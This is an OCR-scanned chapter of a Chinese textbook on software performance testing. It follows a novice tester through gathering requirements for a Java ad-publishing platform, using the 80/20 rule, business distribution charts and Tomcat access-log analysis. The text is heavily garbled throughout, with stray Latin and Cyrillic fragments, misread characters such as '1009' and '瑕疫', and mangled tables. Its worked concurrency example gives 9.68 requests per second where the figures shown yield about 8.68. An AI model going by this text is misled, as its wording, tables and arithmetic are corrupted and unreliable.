这 是 小 白 第 一 次 完整 的 性 能 测试 项 目 ， 也 是 第 一 次 独立 主导 完成 ， 经 理 非常 认可 小 白 的 表现 ， 也 对 他 能 在 这 么 短 时 间 内 做 出 如 此 成 绩 而 感到 高 兴 和 骄傲 。 昌 然 在 项 目 过 程 中 有 不 足 的 地 方 ， 也 存在 有 待 
提升 的 地 方 ， 甚 至 有 错误 的 地 方 。 但 对 于 一 个 菜鸟 能 敢于 承担 、 敢 于 尝试 ， 不 可 不 说 是 一 种 正 能 量 。 人 无 完 人 ， 大 家 都 是 在 错误 中 不 断 成 长 的 ， 而 小 白 正 是 这 样 的 典型 青年 。 也 许 这 点 是 更 多 读者 需要 学 习 
的 地 方 吧 。 


就 在 小 白 洋 洋 得 意 的 时 候 ， 突 然 收 到 经 理发 来 的 IM 消 息 。 


小 白 ， 别 得 意 ， 虽 然 项 目 完 成 得 不 错 ， 但 在 流程 以 及 方法 上 还 有 一 些 瑕 疫 ， 还 需要 多 做 几 个 项 目 来 沉淀 。 过 段 时 间 会 有 一 个 Java 项 目 需 要 做 性 能 测试 ， 这 个 项 目 要 更 加 复杂 ， 存 在 的 问题 也 比较 多 ， 领 导 


很 看 重 这 个 项 目 ， 你 抓紧 准备 准备 ， 争 取 再 完成 一 份 漂亮 的 报告 ! 加 油 ! 
小 白 看 后 淡定 地 回复 到 : 


老大 ， 您 放心 ， 我 一 定 努 力 ， 不 会 让 您 失望 ! 


am 
H 
% 
ГЁ 


第 三 外 


测试 行业 收入 差距 极 大 ， 有 月 薪 四 五 干 的 黑 盒 测试 工程 师 ， 也 有 年 薪 几 十 万 的 资深 测试 工程 师 ， 作 为 性 能 测试 工程 师 为 了 提升 自己 ,为 了 突破 瓶颈 ， 所 以 需要 性 能 测试 工程 师 不 断 学 习 进 步 ， 同 时 要 形 
成 自己 的 思维 认识 。 目 前 国内 的 测试 数据 基本 都 只 教工 具 ， 不 教 原 理 ; 所 以 需要 性 能 测试 工程 师 在 不 断 的 项 目 中 总 结 自己 ， 并 形成 自己 独到 的 见解 ， 而 不 是 人 云 亦 云 。 


第 9 章 Java 项 目 性 能 测试 全 程 实战 


在 小 白 继续 锻炼 学 习性 能 测试 的 4 个 月 后 ， 公 司 迎 来 了 一 个 比较 重要 的 项 目 ， 该 项 目 是 由 Java 语 言 开 发 的 。 因 为 这 个 项 目 属于 一 个 升级 改造 项 目 ， 且 改造 的 原因 就 是 为 了 提升 系统 性 能 ， 解 决 系统 因 日 益 
增长 的 数据 和 用 户 量 所 面临 的 性 能 问题 ， 所 以 这 个 项 目的 性 能 测试 就 显得 比较 重要 。 正 好 小 黑 经 理 也 将 这 个 任务 安排 给 了 小 和 白 ， 小 白 接 到 任务 以 后 ， 决 定 按照 这 几 个 月 的 所 学 、 所 想 以 及 沉 演出 来 对 性 能 测 
试 的 理解 来 完成 本 次 性 能 测试 任务 。 


本 项 目 是 一 个 广告 发 布 平台 (项目 代号 Uncle AP) ， 目 前 日 均 广 告发 布 数量 为 5 万 ， 广 告 查 看 的 PV 量 为 45 万 ， 数 据 库 资源 利用 率 约 为 35%。 目 前 ，Uncle AP 的 数据 库 采 用 Oracle 一 主 一 从 架构 ， 对 横向 扩 
展 支 持 较 弱 。 为 支持 明年 日 均 广 告发 布 数量 10 万 、 单 表 最 大 500 万 广告 、 广 告 查看 PV 量 150 万 和 后 续 两 年 的 增长 目标 ， 拟 对 Uncle AP 进行 拆 库 ， 支 持 对 Uncle AP 项 目 水 平 扩展 。 


91 项目 目标 分 析 


1) 水 平 扩 展 : 支持 数据 库 、 应 用 服务 器 水 平 扩展 ， 支 持 明 年 150 万 PV 及 后 续 增 长 率 目标 ( 按 1009 计 算 ， 即 2015 年 600 万 PV) 。 
Org PV 约 增加 120 倍 ，16 台 相同 配置 机 器 的 MySQL 数 据 库 能 够 支持 〈 每 台 机 器 利用 率 不 到 50%) 。 

2) (MAAIE: 降低 Uncle AP 及 其 相关 依赖 系统 的 夺 合 性 ， 在 接口 不 变 的 情况 下 ， 支 持 各 部 分 组 件 单独 演化 ， 支 持 未 来 的 服务 化 。 
3) 可 用 性 : 保证 大 量 用 户 访问 时 的 可 用 性 ， 降 低 响应 时 间 。 

4) 服务 化 : 提供 服务 层 接口 ， 减 少 目前 控制 层 逻 辑 ， 为 服务 化 做 准备 。 

5) 模块 化 : 提供 独立 的 /可 共用 的 分 库 组 件 ， 支 持 Oracle、MySQL 以 及 Hibernate/MyBatis 的 迁移 。 


6) 热 迁移 : 支持 不 停机 迁移 数据 ， 支 持 按照 客户 1D 的 方式 进行 迁移 ， 数 据 迁 移 仅 对 该 用 户 可 感知 ， 对 其 他 用 户 仍 正常 提供 服务 。 


9.1.1 系统 架构 


在 进行 测试 之 前 ， 必 须 了 解 项 目的 架构 ， 方 便 后 面 申请 和 准备 测试 环境 ， 也 为 了 了 解 性 能 测试 各 个 功能 数据 的 流向 ， 方 便 监控 各 个 数据 流 环节 ， 从 而 不 会 遗漏 性 能 瓶颈 点 ， 方 便 全 面 进行 性 能 监控 和 分 
Ër, Uncle AP 的 系统 架构 图 如 图 9-1 所 示 。 
| Uncle AP 分 布 式 应 用 服务 器 Dubhe 
一 (4 组 ， 支 持 水 平 扩展 ) 
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从 图 9-1 中 可 以 看 出 ，Uncle AP 项 目的 业务 复杂 度 比 之 前 的 .NET 项 目 高 。 


图 9-1 Uncle AP 系统 架构 图 


1) 数据 库 种 类 复杂 : 数据 库 有 MySQL、Oracle、MongoDB， 物 料 库 还 按照 拆 库 分 表 策 略 进行 了 水 平 拆 分 。 
2) 业务 调度 复杂 : Uncle AP 项 目 不 仅 仅 有 本 身 的 广告 发 布 系统 ， 还 要 依赖 一 些 外 围 支撑 系统 ， 如 审核 系统 、 计 费 系 统 报 文 系统 等 。 


3) 性 能 要 求 较 高 : 因为 数据 库 数据 量 和 业务 量 增长 迅速 ， 所 以 对 系统 性 能 提出 了 较 高 的 要 求 。 


9.1.2 ”业务 流程 


在 了 解 系统 架构 之 后 ， 小 白 需要 了 解 主要 功能 的 业务 流程 ， 方 便 了 解 可 能 隐藏 的 性 能 瓶颈 点 。Uncle AP 项 目的 主要 功能 点 有 登录 、 发 布 广告 管理 、 报 告 管理 三 大 核心 模块 ， 广 告发 布 管理 又 分 为 计划 / 
组 /广告 词 管理 、 生 效 管理 等 几 大 核心 功能 。 这 些 功能 点 基本 都 需要 做 性 能 测试 ， 所 以 小 白 提 前 找 架构 和 开发 人 员 详 细 了 解 每 个 业务 流程 。 


(1) 登录 功能 


Uncle AP 项 目 不 支持 用 户 注册 ， 所 有 用 户 都 来 自 其 他 支撑 系统 中 ， 其 他 支撑 系统 的 注册 用 户 均 可 以 登录 Uncle AP， 所 有 登录 功能 都 需要 优先 做 性 能 测试 ， 如 果 用 户 登 录 都 不 成 功 ， 那 么 系统 的 其 他 功能 
就 完全 无 法 使 用 。 登 录 功 能 的 流程 如 图 9-2 所 示 。 
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图 9-2 Uncle AP 系统 登录 流程 图 


(2) 计划 管理 


计划 管理 是 广告 发 布 的 第 一 步 ， 广 告 的 层级 是 计划 一 组 一 广告 词 。 计 划 管 理 功能 包含 新 建 、 修 改 、 删 除 计 划 ， 增 加 或 修改 广告 计划 级 别 的 预算 等 功能 。 一 个 用 户 下 最 多 新 建 200 个 推广 计划 ， 新 建 推广 


计划 的 流程 如 图 9-3 所 示 。 
(3) 广告 组 管理 


广告 组 隶属 于 广告 计划 ， 一 个 用 户 的 广告 计划 下 最 多 允许 有 500 个 广告 组 。 广 告 组 管理 包含 新 建 、 修 改 、 删 除 组 ， 新 建 、 修 改 广告 组 以 及 修改 广告 组 预算 等 功能 。 新 建 广告 组 的 流程 如 图 9-4 所 示 。 
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图 9-4 Uncle AP 系统 新 建 广告 组 流程 图 


告 词 必 须 在 某 个 广告 组 下 ， 一 个 广告 组 下 最 多 人 允许 人 存在 ?000 个 广告 词 。 广 告 词 管理 包含 新 建 、 修 改 、 删 除 广告 词 以 及 修改 广告 词 价格 等 功能 。 新 建 广告 词 的 流程 如 图 9-5 所 示 。 
(5) 广告 生效 管理 


广告 生效 管理 是 广告 发 布 的 最 后 一 步 ， 决 定 广告 一 天 的 预算 ， 以 及 发 布 的 时 段 和 发 布 的 网 站 。 广 告 生效 管理 的 流程 如 图 9-6 所 示 。 
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图 9-5 Uncle AP 系统 新 建 广告 词 流 程 图 


(6) 报告 管理 


报告 管理 可 以 让 用 户 查 询 自己 的 广告 以 及 消耗 信息 ， 包 括 账户 报告 、 计 划 报 告 、 组 报告 、 广 告 词 报告 ， 查 询 时 段 分 为 “昨日 ”、 “最近 7 天 ”、 “本 月 ”、 "ЕН". "Вам" Бараз, fi 
计 维 度 也 分 为 按 日 统计 和 按 月 统计 ， 其 中 自 定义 最 长 跨度 一 年 。 报 告 管理 的 流程 如 图 9-7 所 示 。 
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897 Uncle AP 系统 报告 管理 流程 图 


9.2 ”性 能 测试 需求 获取 以 及 确定 

在 了 解 了 项 目 系 统 架 构 以 及 业务 流程 之 后 ， 小 白 就 要 开始 确定 本 次 性 能 测试 的 目标 和 目的 了 ， 这 就 是 性 能 测试 需求 分 析 。 在 分 析 性 能 测试 需求 之 前 ， 小 白 特 意 总 结 了 关于 性 能 需求 相关 的 一 些 知识 ， 
结合 自己 公司 的 实际 情况 做 了 一 些 性 能 测试 自动 化 平台 的 开发 工作 ， 方 便 展开 性 能 测试 工作 。 下 面 跟着 小 白 的 脚步 一 起 学 习 吧 。 
9.2.1 ”性 能 测试 环境 需求 描述 

性 能 测试 需求 的 描述 是 需要 有 一 定 的 规范 的 ， 否 则 提取 到 的 需求 就 是 无 效 需求 。 性 能 测试 需求 满足 以 下 要 求 。 

Т) 准确 : 如 系统 必须 在 不 超过 10 秒 的 时 间 内 完成 200 个 用 户 的 登录 ， 再 比如 50 个 并 发 查询 报告 的 响应 时 间 最 大 不 超过 3 秒 。 


2) 一 致 : 开发 工程 师 、 用 户 和 性 能 测试 工程 师 对 有 关 术 语 的 理解 要 一 致 ， 如 并 发 用 户 数 、 在 线 有 用户、 注册 用 户 。 例 如 ， 系 统 支持 300 用 户 并 发 操作 、 系 统 的 在 线 用 户 为 3500、 系 统 的 注册 用 户 是 120 
万 。 


3) 特定 : 性 能 测试 的 需求 一 定 是 有 条 件 的 ， 不 同 逻 辑 复杂 程度 、 不 同 数据 量 传输 下 的 性 能 肯定 是 不 一 致 的 ， 一 个 单 笔 往 数据 库 进 行 5000 个 插入 (insert). 操作 的 功能 与 一 个 单 笔 只 往 数据 库 进 行 10 个 插 
入 操作 的 性 能 要 求 肯定 是 不 一 样 的 。 同 样 ， 一 个 一 次 性 下 载 1000 万 笔 数 据 的 下 载 操作 同一 个 一 次 性 只 下 载 1 笔 数据 的 下 载 操作 性 能 要 求 同 样 是 相差 巨大 的 ， 所 以 这 就 要 求 在 需求 获取 的 时 候 ， 对 场景 进行 特 
定 的 描述 。 例 如 ， 检 查 系统 在 200 个 用 户 的 负载 下 ， 所 有 业务 是 否 正 常 可 用 及 稳定 ; 检查 系统 在 300 个 用 户 的 负载 下 ， 连 续 运 行 72 小 时 过 程 中 ， 订 单 上 传 、 转 单 、 详 情 单 查询 、 发 运 等 业务 动作 是 否 可 用 及 稳 
ХЕ; 检查 系统 在 9.0GB 业 务 数据 、500 个 并 发 用 户 运 行 的 负载 下 ， 连 续 运 行 72 小 时 过 程 中 ， 以 上 业务 动作 是 否 可 用 及 稳定 。 因 此 ， 性 能 测试 需求 必须 包含 多 少 用 户 (who) ， 在 什么 时 间 (when) 或 者 持续 
ZA (when) ， 在 多 大 数据 量 的 基础 上 (how much) ， 进 行 了 什么 业务 (what) ， 最 终 需 要 关注 怎样 的 指标 (how) 。 除 此 以 外 ， 需 要 根据 项 目 性 质 和 性 能 测试 的 目标 来 获得 性 能 测试 需求 的 来 源 


(where) 。 
9.2.2 ”性 能 测试 环境 需求 获取 
在 了 解 了 性 能 测试 需求 描述 的 基本 原则 之 后 ， 就 要 获取 性 能 测试 需求 了 。 需 求 获 取 性 能 测试 的 渠道 有 很 多 ， 不 同 的 渠道 又 适应 不 同 的 应 用 场合 ， 下 面 跟随 小 白 一 起 来 学 习 这 些 知 识 。 
1. 性 能 测试 需求 来 源 以 及 分 析 方 法 
小 白 总 结 的 性 能 测试 需求 来 源 有 以 下 几 个 方面 。 
(1) 开发 过 程 相关 文档 


这 是 性 能 测试 需求 的 基本 来 源 ， 项 目 开发 计划 书 、 需 求 规格 说 明 书 、 设 计 说 明 书 、 测 试 计划 等 文档 都 可 能 涉及 性 能 测试 的 要 求 。 通 过 收集 这 些 
户 代表 、 项 目 经 理 、 需 求 分 析 员 、 系 统 架 构 设计 师 、 产 品 经 理 等 。 在 性 能 需求 获取 之 初 ， 市 面 上 都 把 需求 文档 作为 性 能 测试 需求 的 主要 来 源 ， 但 这 
懂 软 件 性 能 ， 所 以 提出 的 性 能 测试 需求 也 往往 不 准确 ， 需 要 性 能 测试 人 员 进行 专业 的 引导 ， 这 也 是 性 能 测试 人 员 的 价值 所 在 。 


资料 ， 可 以 找到 初步 的 性 能 需求 。 相 关 的 项 目 干 系 人 有 客 
只 是 基本 的 来 源 而 已 ， 因 为 产品 人 员 、 需 求人 员 一 般 都 不 


(2) 相似 项 目 性 能 需求 


公司 的 其 他 产品 或 以 往 项 目 会 囚 积 出 一 些 数据 ,一些 公司 对 外 公布 的 数据 也 可 以 作为 性 能 测试 需求 的 参考 源 。 比 如 要 做 微 博 项 目 ， 那 么 可 以 参考 新 浪 微 博 披露 的 官方 数据 。 如 新 浪 微 博 2013 年 下 半年 官 
方 统计 的 数据 披露 : 2012 年 3 月 ， 新 浪 微 博 用 户 规模 为 3.24 亿 ; 2013 年 3 月 ， 用 户 规模 增长 到 5.365 亿 ， 同 比 增 长 65.5% 左 右 。2012 年 3 月 ， 新 浪 微 博 活跃 用 户 规模 为 3016 万 ; 2013 年 9 月 ， 该 数值 增长 到 
6020 万 ， 从 新 浪 微 博 披露 的 数据 中 就 可 以 提取 到 最 大 用 户 量 以 及 活跃 用 户 量 ， 从 而 可 以 作为 自己 公司 微 博 类 项 目的 并 发 用 户 量 的 参考 依据 。 性 能 测试 完全 可 以 从 这 种 其 他 类 似 项 目的 数据 中 提取 出 一 些 性 能 
测试 需求 点 作为 自己 公司 项 目的 性 能 测试 参考 数据 。 再 比如 ，BestTest 技 术 论 坛 一 小 时 最 多 能 发 1000 新 帖 、 博 客 平均 每 天 新 增 800 篇 ， 可 以 以 这 些 数据 作为 确认 新 项 目测 试 需求 的 基础 。 


(3) 业界 公认 标准 
如 响应 时 间 ， 根 据 服务 器 的 不 同和 项 目的 具体 情况 可 能 有 以 下 两 类 标准 。 


A 类 严格 标准 : 


` 2 秒 以 内 ， 用 户 感受 良好 。 

` 2~5 秒 ， 用 户 党 得 可 以 接受 。 

. 5~10 秒 ， 用 户 会 觉得 烦躁， 会 无 法 接受 ， 从 而 导致 频繁 地 刷新 页 面 。 
. 超过 10 秒 ， 用 户 完全 无 法 有 忍受， 直接 离 开 。 

B 类 宽松 标准 : 

8 秒 以 内 ， 用 户 可 接受 。 

- 8~16 秒 ，50% 用 户 选 择 离开 。 

· 32 秒 后 ，90% 用 户 离 开 。 

(4) 用 户 使 用 模型 


性 能 测试 要 通过 一 系列 场景 的 执行 来 完成 ， 分 析 用 户 的 使 用 模型 是 获取 性 能 测试 需求 的 有 效 手段 ， 即 定义 系统 的 典型 使 用 方式 ， 考 虑 哪些 用 户 使 用 系统 的 哪些 典型 业务 ， 在 什么 时 间 段 有 多 少 用 户 进 行 
了 什么 功能 的 操作 。 因 此 需要 性 能 测试 人 员 和 最 终 使 用 的 用 户 很 好 地 沟通 ， 最 好 能 够 考察 用 户 的 应 用 情况 。 例 如 ， 某 OA 系统 每 天 早上 8:00 会 有 200 个 用 户 在 10 分 钟 内 登录 系统 ; 每 天 查询 交易 的 高 峰 是 在 
9:00~11:00 和 下 午 的 14:00~ 16:00 等 ， 然 后 根据 这 个 用 户 使 用 模型 并 结合 80/20 原 则 计算 OA 系统 的 登录 以 及 交易 查询 业务 的 并 发 量 。 


(5) 80/20 原 则 


80/20 原 理 就 是 系统 在 每 个 工作 日 有 80% 的 业务 是 在 20% 的 时 间 内 集中 完成 ， 或 者 系统 80% 的 用 户 会 在 20% 的 时 间 内 集中 进行 应 用 操作 。 在 网 上 ， 小 白 经 常 看 到 有 人 间 如 何 用 80/20 原 则 计算 并 发 ， 在 这 
里 小 白 特意 举例 进行 说 明 : 某 系 统 每 年 业务 量 集中 在 8 个 月 内 完成 ， 每 个 月 平均 有 20 个 工作 日 ， 每 个 工作 日 8 小 时 ,按照 80/20 原 则 ， 即 每 天 80% 的 业务 在 1.6 小 时 完成 。 去 年 全 年 处 理 业务 约 100 万 笔 ， 其 中 
15% 的 业务 处 理 中 ， 每 笔 业务 需 对 应 用 服务 器 提交 7 次 请 求 ; 其 中 70% 的 业务 处 理 中 ， 每 笔 业 务 需 对 应 用 服务 器 提交 5 次 请 求 ; 其 余 15% 的 业务 处 理 中 ， 每 笔 业务 需 对 应 用 服务 器 提交 3 次 请 求 。 根 据 以 往 统 
计 结 果 ， 每 年 的 业务 增 量 为 15%， 考 虑 到 今后 3 年 业务 发 展 的 需要 ， 测 试 需 按 现 有 业务 量 的 两 售 计算 请 求 数 。 每 年 总 的 请 求 数 为 : (100x15%x7+100x70%x5+100x15%x3) x2=1000 万 次 /年 。 每 天 请 
求 数 为 : 1000/ (20x8) =6.25 万 次 /天 ， 每 秒 请 求 数 为 : (62500х80%) / (8х20%х3600) =9.68 次 / 秒 ， 即 服务 器 处 理 请 求 的 能 力 应 达到 9 次 / 秒 。 从 而 确定 系统 的 TPS 为 9。 


(6) 业务 分 布 图 


业务 分 布 图 是 以 一 种 直观 的 方式 展示 性 能 测试 需求 ， 描 述 一 些 交易 任务 在 24 小 时 内 的 交易 情况 ， 重 点 关注 并 发 用 户 的 数量 和 上 典型 的 业务 操作 。 表 9-1 是 某 酒店 预订 网 站 的 任务 分 布 图 ， 从 中 可 见 : 
18:00~20:00 的 交易 混合 程度 较 高 ，“ 预 订 酒 店 ”任务 的 并 发 用 户 在 18:00 达 到 最 大 。 如 果 需 要 进一步 了 解 典型 任务 的 平均 值 、 峰 值 以 及 对 Web 服 务 器 、 数 据 库 服务 器 的 压力 等 信息 ， 可 以 建立 交易 混合 表 。 


表 9-1 某 酒店 预订 网 站 的 任务 分 布 图 
曲 型 业务 并 发 用 户 数 


(7) 系统 日 志 


现在 日 志 分 析 是 越 来 越 重要 的 性 能 测试 需求 获取 手段 ， 大 型 公司 越 来 越 重视 日 志 分 析 。 数 据 挖掘 中 很 重要 的 一 点 就 是 对 日 志 进 行 分 析 ， 然 后 分 析 用 户 使 用 行为 。 通 过 分 析 日 志 ， 可 以 帮助 性 能 测试 人 员 
快速 获取 系统 性 能 参数 ， 如 并 发 量 、 响 应 时 间 、 业 务 分 布 情况 等 ， 日 志 分 析 也 能 用 于 帮助 性 能 测试 人 员 进 行 性 能 预警 和 容量 规划 工作 。 一 般 的 Web server 有 两 部 分 日 志 : 一 是 运行 中 的 日 志 ， 它 主要 记录 运 
行 的 一 些 信息 ， 尤 其 是 一 些 异常 错误 日 志 信息 ; 二 是 访问 日 志 信息 ， 它 记录 访问 的 时 间 、IP 地 址 、 访 问 的 资料 等 相关 信息 。 为 了 获取 系统 性 能 测试 的 需求 ， 可 以 分 析 Web Server 的 访问 日 志 以 了 解 系统 更 多 
真实 负载 和 主要 的 业务 场景 。 下 面 介绍 利用 Tomcat 产 生 的 访问 日 志 数 据 所 做 的 有 效 分 析 。 


首先 是 配置 Tomcat 访 问 日 志 数 据 ， 上 默认 情况 下 ， 访 问 日 志 没 有 打开 ， 配 置 的 方式 如 下 。 


编辑 $fcatalina}l1j/conf/server.xm| 文 件 。 把 以 下 的 注释 (<1 ---->) 去 掉 即 可 。 


<! --«Valve className-"org.apache.catalina.valves. 
AccessLogValve" 

directory-"logs" 

prefix-"localhost access log." suffix-".txt" 
pattern-"common" resolveHosts-"false"/» 

--> 


其 中 directory 是 产生 的 目录 ，Tomcat 的 安装 目录 ${catalinal} 作 为 当前 目录 ; pattern 表 示 日 志 生 产 的 格式 ，common 是 Tomcat 提 供 的 一 个 标准 设置 格式 ， 其 具体 表达 式 为 %h%I%u%t"%r"%s%b。 通 
过 这 个 配置 能 得 到 如 下 数据 。 


- %h: 访问 的 用 户 IP 地 址 。 

A: 访问 的 逻辑 用 户 名 ， 通 常 返回 -'。 

(Sou: 访问 的 验证 用 户 名 ， 通 常 返回 "-'。 

Vot: 访问 日 时 。 

Sor 访问 的 方式 (post 或 者 get) ， 访 问 的 资源 和 使 用 的 HTTP 版 本 。 
: Sos: 访问 返回 的 HTTP 状 态 。 

“ %b: 访问 资源 返回 的 流量 。 


AT: 访问 所 使 用 的 时 间 。 


有 了 这 些 数据 ， 就 可 以 根据 时 间 段 做 以 下 的 数据 分 析 处 理 。 
1) 独立 IP 数 统计 。 

2) 统计 访问 请 求 数 。 

3) 统计 访问 资料 文件 数 。 

4) 统计 访问 流量 。 

5) 统计 访问 处 理 响应 时 间 。 

6) 统计 所 有 404 错 误 的 页 面 。 

7) 统计 所 有 500 错 误 的 页 面 。 

8) 统计 访问 最 频繁 的 页 面 。 

9) 统计 访问 处 理 时 间 最 久 的 页 面 。 

10) 统计 并 发 访问 频率 最 高 的 页 面 。 

通过 分 析 ， 可 以 得 到 如 表 9-2 所 示 的 数据 。 


Ж9-2 Tomcat H EDMEE 


/besttest/andashutest.action | ША Ur 2:77 198 743 1.23s 


图 9-8 为 通过 日 志 分 析 得 出 的 系统 并 发 访问 结果 ， 从 图 中 就 可 以 获得 系统 级 别 的 并 发 访问 用 户 数 、 响 应 慢 的 页 面 信息 等 ， 方 便 定 制 性 能 目标 以 及 场景 ， 通 过 “最 慢 页 面 ”对 系统 性 能 进行 持续 优化 。 


并 发 用 户 JE Ui H FERE 最 热 页 面 F E T ü 600 115 404 ix 
TOP10 TOP10 TOP10 TOP10 TOP10 TOP10 TOP10 
序号 访问 时 间 并 发 仿 问 数 所 在 模块 | 
1 2008-04-10 08:06:31 326 所 有 | 
2 2008-04-10 10:38:40 299 所 有 
3 2008-04-10 18:08:32 292 所 有 
4 2008-04-10 11:10:39 276 所 有 
5 2008-04-10 08:04:24 275 所 有 
6 2008-04-10 15:29:04 268 所 有 
7 2008-04-10 11:26:42 267 所 有 
8 2008-04-10 07:56:44 259 所 有 
9 2008-04-10 08:41:12 257 所 有 
10 2008-04-10 11:17:23 257 所 有 | 


图 9-8 ITomcat 日 志 分 析 结 果 


日 志 分 析 工 具有 很 多 ， 比 较 常 见 的 有 AWStats、Webalizer Analog, Deep Log Analyzer, Web Log Explorer 等 。 性 能 测试 工程 师 在 分 析 日 志 时 ， 可 以 根据 Web 容 器 、 操 作 系 统 平台 、 统 计 颗 粒度 等 
行 综合 考察 ， 从 而 选取 日 志 分 析 工 具 。 小 白 最 开始 在 公司 运用 的 Web 日 志 分 析 工 具 就 是 AWStats， 因 为 当时 分 析 统 计 的 是 Apache 日 志 。 现 在 小 白 的 日 志 分 析 系 统 已 经 换 成 了 自己 编写 的 对 日 志 进 行 定制 
化 的 统计 分 析 的 性 能 自动 化 测试 平台 ， 从 而 满足 自己 的 个 性 化 需求 。 


2. 性 能 测试 需求 来 源 对 应 的 应 用 场景 


在 上 面 章节 中 ， 小 白 列 举 了 7 种 性 能 测试 需求 的 来 源 以 及 分 析 办 法 ， 在 这 里 可 能 大 家 会 产生 疑问 ， 如 此 多 的 性 能 测试 需求 来 源 渠道 和 分 析 办 法 ， 我 们 在 实际 工作 中 选择 的 时 候 ， 应 该 如 何 应 用 呢 ” 在 这 里 
小 日 给 出 自己 的 见解 。 


(1) 日 志 分 析 


如 果 公 司 的 项 目 会 持续 进行 改进 和 升级 维护 ， 那 么 建议 做 日 志 分 析 。 因 为 做 日 志 分 析 能 够 很 精确 地 获取 当前 系统 级 别 的 最 大 并 发 量 、 各 个 功能 的 并 发 用 户 量 、 各 个 功能 的 响应 时 间 、 各 个 功能 的 占 比 
(方便 确定 综合 场景 时 ， 各 功能 并 发 用 户 数 的 占 比 ) 、 系 统 并 发 用 户 量 的 增长 情况 等 ， 这 样 得 到 的 性 能 目标 会 非常 准确 ， 开 发 人 员 和 产品 人 员 也 会 直接 认同 ， 不 会 产生 扯皮 现象 ”从 日 志 分 析 中 得 出 的 功能 
业务 占 比 ， 也 可 以 为 性 能 测试 人 员 在 制定 性 能 测试 场景 时 提供 强 有 力 的 帮助 ， 从 而 减少 性 能 测试 场景 的 遗漏 率 ， 减 少 因为 遗漏 性 能 测试 场景 而 可 能 导致 的 线 上 性 能 故障 ， 为 线 上 的 性 能 稳定 提供 强 有 力 的 保 
障 。 从 这 里 也 可 以 看 出 ， 日 志 分 析 适 用 的 是 持续 升级 维护 的 系统 ， 或 者 是 为 公司 类 似 项 目 提供 性 能 数据 的 参考 依据 。 


(2) 80/202/8 原 则 


80/202/8 原 则 适用 于 那些 提供 了 系统 注册 用 户 数 或 者 在 线 用 户 数 的 需求 场景 。 如 果 某 新 需求 提供 方 只 告诉 性 能 测试 人 员 在 线 用 户 数 ， 那 么 可 以 通过 80/20 原 则 进行 分 析 ， 计 算 系统 的 并 发 用 户 数 。 比 如 
与 第 三 方 公司 进行 系统 性 能 测试 ， 只 知道 第 三 方 公司 有 30000 名 员工 使 用 该 系统 ， 这 时 就 能 很 好 地 运用 80/20 原 则 获取 并 发 量 需求 。 在 这 里 ， 小 白 有 个 观点 需要 表达 的 就 是 : 以 前 网 上 很 多 人 在 说 80/20 原 则 
的 计算 方式 是 先 从 运 维 人 员 那 里 获取 线 上 系统 的 日 志 ， 然 后 统计 系统 一 天 有 多 少 用 户 访问 系统 ， 再 运用 80/20 原 则 计算 。 小 白 表 示 持 反对 观点 ， 因 为 如 果 已 经 能 获取 到 线 上 日 志 了 ， 那 么 为 什么 不 直接 编写 
shell 脚 本 来 统计 系统 单位 时 间 内 (时 间 可 以 自己 定义 ， 比 如 秒 、 分 钟 等 ) 的 最 大 并 发 量 呢 ? 这 样 获取 到 的 性 能 数据 比 80/20 统 计 的 会 更 加 准确 。 


(3) 业务 分 布 图 


业务 分 布 图 适用 于 那些 知道 系统 访问 频 度 的 系统 ， 这 种 需求 分 析 的 方法 在 日 志 分 析 之 前 出 现 ， 是 为 了 让 性 能 测试 人 员 知道 系统 各 个 功能 的 访问 比率 和 单位 时 间 内 的 交易 数 ， 现 在 已 经 被 日 志 分 析 所 取 
人 


(4) 用 户 使 用 模型 


这 种 分 析 办 法 适用 于 那些 知道 系统 用 户 使 用 习惯 的 系统 。 比 如 为 公司 做 OA 系统 的 性 能 测试 ， 公 司 有 20000 人 ， 每 天 早上 9:00 到 9:05 在 OA 系统 上 签到 ， 月 末 的 最 后 一 天 ，OA 系 统 需要 进行 考勤 以 及 工资 
的 计算 ， 那 么 通过 这 个 用 户 使 用 模型 就 能 知道 早上 9:00 到 9:05 会 有 20000 人 签到 ， 月 末 最 后 一 天 要 进行 20000 人 的 考勤 以 及 工资 的 计算 ， 按 照 这 个 数据 量 ， 再 结合 80/20 原 则 ， 就 能 计算 出 系统 签到 和 工资 计 
算 的 并 发 用 户 数 。 


(5) 业界 公认 标注 

这 种 需求 分 析 办 法 适用 于 没有 做 日 志 分 析 ， 在 需求 文档 中 没有 明确 列 出 性 能 指标 ， 以 往 也 没有 留 下 类 似 性 能 参考 数据 的 系统 ， 这 时 候 就 可 以 参考 业界 标准 指定 性 能 测试 目标 。 

(6) 相似 项 目 性 能 需求 

这 种 需求 分 析 办 法 适用 于 与 现 有 (外 部 或 者 内 部 ) 项 目 具 有 极 高 相似 度 的 一 些 项 目 ， 如 电 商 平台 、 旅 游 平 台 等 。 

《7) 开发 过 程 相关 文档 

这 种 需求 来 源 是 最 直接 的 ， 当 然 前 提 是 有 相关 开发 过 程 文档 ， 且 开发 过 程 文档 中 都 有 明确 的 性 能 需求 描述 ， 这 样 可 以 直接 提取 性 能 需求 ， 然 后 再 结合 其 他 的 性 能 需求 分 析 办 法 来 完善 和 补充 性 能 测试 需 
求 。 
9.2.3 ”性 能 测试 需求 确定 


学 习 了 性 能 测试 需求 分 析 的 方法 之 后 ， 小 白 要 开始 确定 本 次 项 目的 性 能 需求 了 。 因 为 Uncle AP 项 目 是 进行 拆 库 ， 属 于 性 能 升级 改造 的 项 目 ， 小 白 在 公司 也 开展 了 日 志 分 析 的 活动 ， 对 Uncle AP 项 目 之 前 
的 日 志 做 了 分 析 ， 所 以 直接 将 日 志 分 析 的 数据 作为 Uncle AP 项 目 性 能 需求 的 第 一 来 源 ， 这 因为 日 志 分 析 是 对 线 上 真实 数据 分 析出 来 的 结果 ， 可 以 直接 反映 项 目 当 前 的 使 用 情况 。 如 图 9-9 所 示 ， 首 先 从 日 志 
分 析 中 提取 到 当前 系统 线 上 各 个 功能 的 并 发 量 ， 如 广告 查询 在 1s 的 最 大 并 发 量 是 141、 广 告发 布 在 1s 的 最 大 并 发 量 是 117， 在 1s 内 系统 级 别 的 最 大 并 发 量 是 261 (注意 系统 级 别 的 并 发 量 与 单个 功能 的 并 发 量 
不 一 致 ， 所 以 不 是 由 单独 的 单个 功能 的 PV 峰 值 相 加 得 到 ) ， 这 样 就 初步 获取 了 系统 每 个 功能 的 并 发 量 和 系统 级 别 的 并 发 量 ， 同 时 通过 各 个 功能 的 占 比 情况 ， 可 以 计算 出 综合 场景 中 各 个 功能 的 并 发 量 情况 。 
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图 9-9 Uncle AP 项 目 线 上 日 志 并 发 量 分 析 结 果 
